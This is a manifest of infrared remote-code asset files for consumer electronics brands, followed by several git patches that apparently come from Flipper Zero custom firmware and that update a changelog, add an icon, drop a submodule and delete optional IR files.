-D:infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA -D:infrared/_CSV-IRDB_/Yamaha/Unknown_av -D:infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_rax9 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_receiver -D:infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620 -D:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp -D:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7 -D:infrared/_CSV-IRDB_/Yamaha/Video Projector -D:infrared/_CSV-IRDB_/Yamaha/iPod Dock -F:d0ba1e4b61e46e5368eeb51a3f8a39a5:3430:infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir -F:ce9f38062c042574c1a950c2d3d63b72:2513:infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir -F:19e9bc4b0d82e66adb53ec8caed87d00:2603:infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir -F:65c1518237c09b9f50ea6531e8ed6ba7:4633:infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir -F:9d51596c8eb2fe70ba8c63c782ca2066:4006:infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir -F:8912e76bb1a9635848ebde8b7f9039af:1184:infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir -F:4087ea6a38579ddf0ecea61f0f017b87:4739:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir -F:8aca16ef3e45861166d29c0d5a2a43df:125:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir -F:fbf3eeede4f5b80eb5a2a6856347c7d8:15004:infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir -F:58c7b505fa5c4a53c59de36b0b3e6c57:1364:infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir -F:5281049a6aaf9acb4c838c113833ada0:3741:infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir -F:01b348cedf590b5e4d28fcb2d6fcf1cd:127:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir -F:b7f93c913d5c8768eba6472de8c0b97d:1115:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir -F:6d359489922ff070d6aea66f51f62add:5091:infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir -F:4a145bf1e03e3e78006958ca4416fd07:2328:infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir -F:24bdb5185ad94eeb862a551909e79a81:3343:infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir -F:903fccd48d90bfc94fdaa626614457b8:640:infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir -F:38f2a6a67e5c4b2d8c40a59a045278fe:126:infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir -F:15149e415643613736da3a739fa13829:392:infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir -F:43b2f504e99b2faa3220a13338c3779f:1203:infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir -F:6bea41ffde851761595f5c308b30f687:15563:infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir -F:2741789a6d5831a51dfd72c05cf85924:3154:infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir -F:57ad4dd632d4cbab675be620a03d73c9:10969:infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir -F:c6b81704950d6281680d89c7311f8363:6855:infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir -F:053a073287058d79519b57ac3899eca9:24678:infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir -F:6267d6a3050d014d1bde433f21c8ea0e:7661:infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir -F:5bd20c11c32661a79a8bbf31d7fd7742:15996:infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir -F:5d691a76aed5d2d3917a19cc7eec2473:2694:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir -F:6451951284e6a9d026a128532896bb70:3657:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir -F:7006a6f6f66e94fa52a523e85db88d6b:2742:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir -F:5e30ee0a04fff8877d2642acc81d5b23:1716:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir -F:87e5ea7a537437935f680be65725604e:3214:infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir -F:5d653998a6126b13cedcbe746eaa30c9:4776:infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir -F:a30d107abdf281384972547bbd690d6f:393:infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir -F:be2c8f0edc0226a71cb38950d741f37f:2166:infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir -F:6fd9d09a6b951b51ef38d0a753e172b6:3841:infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir -F:1de9651955a759d78c3d56a818f62f13:7506:infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir -F:22c182fc2db2859f9e7bdbc189f312d7:2100:infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir -F:d90ea974df9b7d70383670b45a150d64:15061:infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir -F:2690df39cae5b002d98c8f76e928b031:2165:infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir -F:3b8ae851d89fb35a7329b9ec4a6368f8:127:infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir -F:b7dec5d609bd81206031c09915da1e0b:127:infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir -F:6a60f6a1f1b7b7342d1f515b00bc1f26:4898:infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir -F:b4493ebcaba380bd71317ec37f4f4eae:121:infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir -F:588a264937054bc1d6e30c0dccf57fb1:229131:infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir -F:80386f2e0d46d220112787d8113a461b:9119:infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir -F:005e52e20ec9ae35bee9fcd4d2793926:15071:infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir -F:7b7a8371a4e0984c0ccbc63432f82ebf:211931:infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir -F:21a91836b8bce67f110887833f9837c1:93854:infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir -F:f64918181aedc9eb43e4946b1c657824:219:infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir -F:3fbe6c1c992f54c31016748bc595209e:693:infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir -F:f4e1039d4b2ce1da3cff7cf2f56c85db:1987:infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir -F:d02b7fe1050bf942d8f790b8e8c9c0f1:217:infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir -F:02deffa2de49dd170a2bca768e01e564:118:infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir -F:45dabf2a83acca33af86fa18c3295891:23231:infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir -F:4caa1e22c1d1df08235bfc1763196ab5:7133:infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir -F:99142b0891c5348d8b4c1d333baf2b91:6748:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir -F:c8a2669cd2458c1f9a6398c63d7a9dbd:1889:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir -F:553ca947a8d9e84f3548df3a5fe30948:1534:infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir -F:2bf8b70e7c57b795430f0f03c2382c5a:841:infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir -F:11976a79b71102b75c588dbbd3c9d985:2697:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir -F:7359d7beb3bb9edc69e8a482502547fa:4022:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir -F:b28565b5be097e818334e46094c13e89:2336:infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir -F:44f5e1aa3f535e552cc881076b9f0bfa:3301:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir -F:f85494601ae93940ac8906626b456c69:3514:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir -F:43cdd70c1c14efa4f1c9a971938a0fcb:2611:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir -F:ad287623fe88a0436f0796dffcc8c294:2340:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir -F:41cf39a4f143c5a560f636105e05d6d9:1761:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir -F:7d94a97b259496cabd7b0bcb00cac725:2916:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir -F:e6daaaaf76f006dbf29900d1197d5927:2561:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir -F:c7632574f0d86e50ce6774c724b29ae5:4323:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir -F:263e18b29491e15192bc73e998128779:1891:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir -F:9994e61a71ee3496e53144df8c98e797:834:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir -F:11e4015924c680a0c355ef29cf681188:972:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir -F:d6fdbccf172f16b0546cf0e4bd41cadd:938:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir -F:8842bb0f070b05f0b5b3d370bcad6672:2986:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir -F:a917587c8c4cb2c67eba9ec80c40047b:4272:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir -F:3ebdda414a7e1c8b0111cf888845aaef:844:infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir -F:54e34895e9ec1b8063e4d1296d2af656:2474:infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir -F:99854b0905572981c08b13061654017c:815:infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir -F:2b6a1fd3eef3143576f1698a652abd74:2438:infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir -F:08e06cc0a876ad7686a92d96d2be3538:1727:infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir -F:310d6e60613dfd51c3d31dd025552868:2644:infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir -F:2281fd0d3d2c36230ff5086445a90654:1794:infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir -F:3a782356e5ad61441220f634753799e0:2919:infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir -F:b15468c38f01ea0d5c191b670f19ab0e:4668:infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir -F:d20093bf99bd5d81529e706844ef3b79:2875:infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir -F:8411df731415fcf9a9bb690d693b1575:2665:infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir -F:1d45f0493856dabd9b39144934733bc7:1726:infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir -F:922b0046ad580649ed06df10479916bd:2710:infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir -F:0654742f8fa25683467a56c48589e055:1451:infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir -F:eb72eda3d73311bc24b52f23892312a4:3029:infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir -F:4f1cd1e5844d49f55871058422339484:3589:infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir -F:fc6b817bf06014adcc6c5b836e49ecf3:2854:infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir -F:f129810732e3c624eb5556cfff02c6d3:2452:infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir -F:299595116084af968a6dbfbabd66f9a3:1572:infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir -F:411512de980105bd1880a58812f180d2:4039:infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir -F:9e33638c485905056b6d3281a4488671:3617:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir -F:3f112c140cccc818872508f2a76facf3:2559:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir -F:2829cc29d6d5660d21a60b1924fea9ec:2349:infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir -F:9a19b81610752002f77c70dce2142736:1077:infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir -D:infrared/_CSV-IRDB_/Yamakawa/DVD Player -D:infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga -F:b5b84f877d29390e95099fd186774246:3780:infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir -F:55ba76fe06d4cda275831dfaf0e1eb01:3938:infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir -D:infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO -F:89f434297149ce5439f71f578ff5e9b5:3363:infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir -D:infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT -F:b7ece849c6ef4916bcaddf1c26e28c2f:3845:infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir -D:infrared/_CSV-IRDB_/Zehnder/Unknown_VCR -F:37a41c24d4b2202541bfe93a96ef9dbe:2219:infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir -D:infrared/_CSV-IRDB_/Zenith/TV -D:infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102 -D:infrared/_CSV-IRDB_/Zenith/Unknown_C32V37 -D:infrared/_CSV-IRDB_/Zenith/Unknown_TV -D:infrared/_CSV-IRDB_/Zenith/Unknown_VCR -D:infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015 -D:infrared/_CSV-IRDB_/Zenith/VCR -D:infrared/_CSV-IRDB_/Zenith/Video Projector -F:e604b4c7deda87d339671a23abd0c964:3315:infrared/_CSV-IRDB_/Zenith/TV/5,1.ir -F:e6ec2378fc2a514555d5cbad7d2b591b:737:infrared/_CSV-IRDB_/Zenith/TV/7,0.ir -F:86cdfcca87c8fa14796d934938136bb5:223:infrared/_CSV-IRDB_/Zenith/TV/7,1.ir -F:bb9c1c189acd13717074a25418bb13c6:3395:infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir -F:a2f9de1f483a3845209d62fa45a8835d:3726:infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir -F:228be1485f723d9e656f4d03bdd2bb2f:1634:infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir -F:10281ea53b9ed72c5190923b9c41e9cb:1813:infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir -F:35d887c30986dde7fc6f094082caff64:2877:infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir -F:474132585afad4a34288d418707650f6:2634:infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir -F:eb50f6085a0dbbe000a1c4edde836503:1728:infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir -F:3c23801ab024b0792737ef17cd7c141f:1263:infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir -D:infrared/_CSV-IRDB_/Zephir/ZDEBT2 -F:7eaadcbe130825402521522db8819e7f:3745:infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir -D:infrared/_CSV-IRDB_/Zinwell/Satellite Receiver -F:0eb1682be7d45e33b24f1457edba02f5:2261:infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir -D:infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100 -F:0bc0f5943e4698cfeed86f602765cf38:2198:infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir -D:infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix -F:1a71777fc9bdb13bf5fbd2275f9dcba6:1901:infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir -D:infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000 -F:c0ed31b1e78223313f11d77ddbf84d3d:4199:infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir -D:infrared/_CSV-IRDB_/anysee/Unknown_anysee -F:363cc77cd8dbaac2386defde5cb2c823:3947:infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir -D:infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240 -F:bae228c501aaf94757208f6a7e4982c0:1383:infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir -D:infrared/_CSV-IRDB_/cenOmax/Unknown_F702 -F:2792b9f2b96e17564a5c5aba190ea2dc:943:infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir -D:infrared/_CSV-IRDB_/daytron/Unknown_daytron -F:b8b4c034eb81bd673b4eaa8e838ab2a3:1024:infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir -D:infrared/_CSV-IRDB_/dual/Unknown_dual -F:96c9bed7c945be47d8c3d0a172745357:2480:infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir -D:infrared/_CSV-IRDB_/eltax/Unknown_corniche -F:b650f640cd5294d31ddfdd49c7cfee63:4196:infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir -D:infrared/_CSV-IRDB_/fenner/Unknown_fenner -F:133db8750b1a8c3cf68b47e9cd0a793e:2478:infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir -D:infrared/_CSV-IRDB_/huth/Unknown_prof -F:eccf280baa1747a3a9c40eb99ab1eb24:2749:infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir -D:infrared/_CSV-IRDB_/iPort/MP3 Player -D:infrared/_CSV-IRDB_/iPort/iPod -D:infrared/_CSV-IRDB_/iPort/iPort -F:300ba7a32d966af53eb4d62ddb7264b0:2469:infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir -F:a2a711a5cedad233709a3655e1f9be40:2472:infrared/_CSV-IRDB_/iPort/iPod/1,222.ir -F:bec1950c24a4f0ad847ab40710db3f26:2373:infrared/_CSV-IRDB_/iPort/iPort/1,222.ir -D:infrared/_CSV-IRDB_/imon/Unknown_MultiMedian -F:39650f1abd359a465de87a7115659c9d:4046:infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir -D:infrared/_CSV-IRDB_/ione/Unknown_remote -F:acd8d733eebb29d2781bfc4baaf988e3:3728:infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir -D:infrared/_CSV-IRDB_/italtel/Unknown_italtel -F:2cadb823863ab3d4ee3c7b73ad154798:2529:infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir -D:infrared/_CSV-IRDB_/kendo/Unknown_RC-610 -F:92eec161113cd6fcdc20aa3abc116a2c:2519:infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir -D:infrared/_CSV-IRDB_/konig/Unknown_konig -F:7e70dfe3962ace5ddbfee72691c2a766:3840:infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir -D:infrared/_CSV-IRDB_/kosmos/Unknown_kosmos -F:82b5ab75a8ae5aba68e88ab605ab3897:1847:infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir -D:infrared/_CSV-IRDB_/mStation/Unknown_mStation -F:b6af974d5fa09fe4b931180265daa811:1112:infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir -D:infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA -F:89ce545bb1d6be401768b2638a4f5247:1688:infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir -D:infrared/_CSV-IRDB_/mivar/Unknown_mivar -F:70266c3fae1ac1edd3af4d65f345e3b6:2637:infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir -D:infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC -F:c75d07a58597cd0f8883bdf7b57facde:2313:infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir -D:infrared/_CSV-IRDB_/oceanic/Unknown_oceanic -F:e15e60f27bac7dd275fded9a9f071b1a:1707:infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir -D:infrared/_CSV-IRDB_/orion/Unknown_RC-CB -D:infrared/_CSV-IRDB_/orion/Unknown_TV-713 -D:infrared/_CSV-IRDB_/orion/Unknown_orion -D:infrared/_CSV-IRDB_/orion/Unknown_orion-RC57 -F:02fb8f39abb354688a86793e87f40c3b:2528:infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir -F:43849d78ca5a27f0050c6a37add3de91:3504:infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir -F:f96300fc13dcd7a71507df245fa196d1:3227:infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir -F:5b5657517cda9c1469e4c21ef28a672a:668:infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir -D:infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler -F:30bb6e500217d4b0d142efe98b9fc425:3507:infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir -D:infrared/_CSV-IRDB_/remotec/Unknown_TV -D:infrared/_CSV-IRDB_/remotec/Unknown_remotec -D:infrared/_CSV-IRDB_/remotec/Unknown_remotec1072 -D:infrared/_CSV-IRDB_/remotec/Unknown_rm200 -F:89ee5a94a3feec9cfc958cedde2d87ec:2217:infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir -F:cb7886d0ecf2b5c5a7821e79241878a2:2228:infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir -F:8da7f966f726a2ceb1d8c07301b99244:2061:infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir -F:6e5afe7191716295bf44c3b47edb8d08:2068:infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir -D:infrared/_CSV-IRDB_/roadstar/Unknown_dvd -F:64c8bbfa047384f70c34b30a9c08458d:3589:infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir -D:infrared/_CSV-IRDB_/rubin/Unknown_rubin -F:02cd0f037504bd2a2e43b460e3e20e61:3308:infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir -D:infrared/_CSV-IRDB_/starhub/Unknown_starhub -F:d1388a0d6547d376456390f28990a47e:3684:infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir -D:infrared/_CSV-IRDB_/sun/Unknown_sun -F:99cde243d07e8f3f2953bf8c5e61c129:1883:infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir -D:infrared/_CSV-IRDB_/trio/Unknown_xms007 -F:b0beadcaff96a741120f79fda8de1f14:2609:infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir -D:infrared/_CSV-IRDB_/universum/SAT -D:infrared/_CSV-IRDB_/universum/SAT_SR420 -D:infrared/_CSV-IRDB_/universum/Unknown_universum -D:infrared/_CSV-IRDB_/universum/VCR -D:infrared/_CSV-IRDB_/universum/VCR_VR743A -F:21a8b6f4a754f6cba9669249fc60573b:1767:infrared/_CSV-IRDB_/universum/SAT/97,135.ir -F:0890732cc5f295734cf3416bfb003e21:2600:infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir -F:d25b0652b0348c4d8adc95ea689e0e2c:4679:infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir -F:2e16a2eb1b87bcfccdf40061ee89d36f:3883:infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir -F:f45dcdde8fb1eea1a510b38f34108f60:3954:infrared/_CSV-IRDB_/universum/VCR/128,123.ir -F:eede86d587171f377b9f47d8ed121348:2585:infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir -D:infrared/_CSV-IRDB_/videologic/Unknown_rm201 -F:265b0db6bcceb48e60c602c02811acc0:1200:infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir -D:infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro -F:0a22a69bdce302fe1531f8800d82ebe0:3019:infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir -D:infrared/_CSV-IRDB_/xsat/Unknown_xsat -F:26a051e23c77726157eac21064e6bb4f:3217:infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir F:d895fda2f48c6cc4c55e8a398ff52e43:74300:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets From 4fdc737cacbaa30113a1913b8cd26dce0b9b7eba Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 28 May 2022 23:13:49 +0300 Subject: [PATCH 244/461] Update CHANGELOG.md --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4e50ab882..38fdb83d0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1 +1,2 @@ -* 123555 \ No newline at end of file +* fixes +* new build system \ No newline at end of file From a57ce2ff4dcb58a864c6ecb782625779077ebb2f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 30 May 2022 03:58:40 +0300 Subject: [PATCH 245/461] Create music_10px.png --- assets/icons/Archive/music_10px.png | Bin 0 -> 142 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/icons/Archive/music_10px.png diff --git a/assets/icons/Archive/music_10px.png b/assets/icons/Archive/music_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..d41eb0db8c822c60be6c097393b3682680b81a6c GIT binary patch literal 142 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xGmzZ=C-xtZVhivIasA%~WHIdey2}7aaTa() z7Bet#3xhBt!>l_x9Asc&(0a_=e)W&n8K5!-Pgg&ebxsLQ0Ao%f>i_@% literal 0 HcmV?d00001 From 49b3c2a5cdaae704a6a75ca6c564235ab6297e00 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 30 May 2022 04:01:12 +0300 Subject: [PATCH 246/461] Update .gitmodules --- .gitmodules | 3 --- 1 file changed, 3 deletions(-) diff --git a/.gitmodules b/.gitmodules index aa9e0170d..c4649fdca 100644 --- a/.gitmodules +++ b/.gitmodules @@ -22,6 +22,3 @@ [submodule "lib/microtar"] path = lib/microtar url = https://github.com/amachronic/microtar.git -[submodule "sesproject"] - path = sesproject - url = https://github.com/hedger/flipperzero-sesproject.git From a6c787e7e9c1732daab762b2d40a1f40ade7af4f Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 31 May 2022 20:36:18 +0300 Subject: [PATCH 247/461] remove optional ir lib (already not included in assets) --- .../optional-assets/ACs/Dreo/Dreo_Heater.ir | 44 - .../ACs/Dyson/Dyson_Air_Multiplier.ir | 50 - .../optional-assets/ACs/Dyson/Dyson_HP09.ir | 12 - .../GoldenVantage_AF510_Fireplace.ir | 26 - .../ACs/Homedics/Homedics_Humidifier.ir | 38 - .../ACs/JETTools/JETTools_AFS-1000B.ir | 20 - .../ACs/Koldfront/Koldfront_WAC12001.ir | 56 - .../optional-assets/ACs/Koldfront_wac12001.ir | 56 - .../optional-assets/ACs/LG/LG_AC.ir | 38 - .../optional-assets/ACs/Lasko/Lasko_Fan.ir | 20 - .../ACs/Lasko/Lasko_Fan_Simple.ir | 20 - .../optional-assets/ACs/Lasko/Lasko_Heater.ir | 38 - .../optional-assets/ACs/Pelonis_PFS40D6ABB.ir | 26 - .../optional-assets/ACs/Vornado/Vornado.ir | 20 - .../optional-assets/ACs/Whynter/Whynter_AC.ir | 56 - .../optional-assets/ACs/Zenith/Zenith_AC.ir | 44 - .../optional-assets/Amino_amigo.ir | 68 - .../optional-assets/Amz_snd_bar.ir | 56 - .../optional-assets/Apple_tv.ir | 38 - .../Audio Receivers/Onkyo/Onkyo.ir | 152 - .../Audio Receivers/Onkyo/Onkyo_RC627S.ir | 272 - .../Audio Receivers/Sony/Sony_MHC-GS300AV.ir | 200 - .../optional-assets/BenQ.ir | 38 - .../optional-assets/Blu-Ray/LG/LG_BlueRay.ir | 110 - .../Blu-Ray/Toshiba/Toshiba_SE-R0398.ir | 272 - .../CCTV/BrandUnknown/Szxlcom_cams.ir | 80 - .../MarshallElectronics/Marshall_CV610.ir | 110 - .../Cable Boxes/Amino/Amino_Amigo.ir | 68 - .../Cable Boxes/DIRECTV/DIRECTV.ir | 146 - .../Cable Boxes/Telus/Telus_OptikTV.ir | 182 - 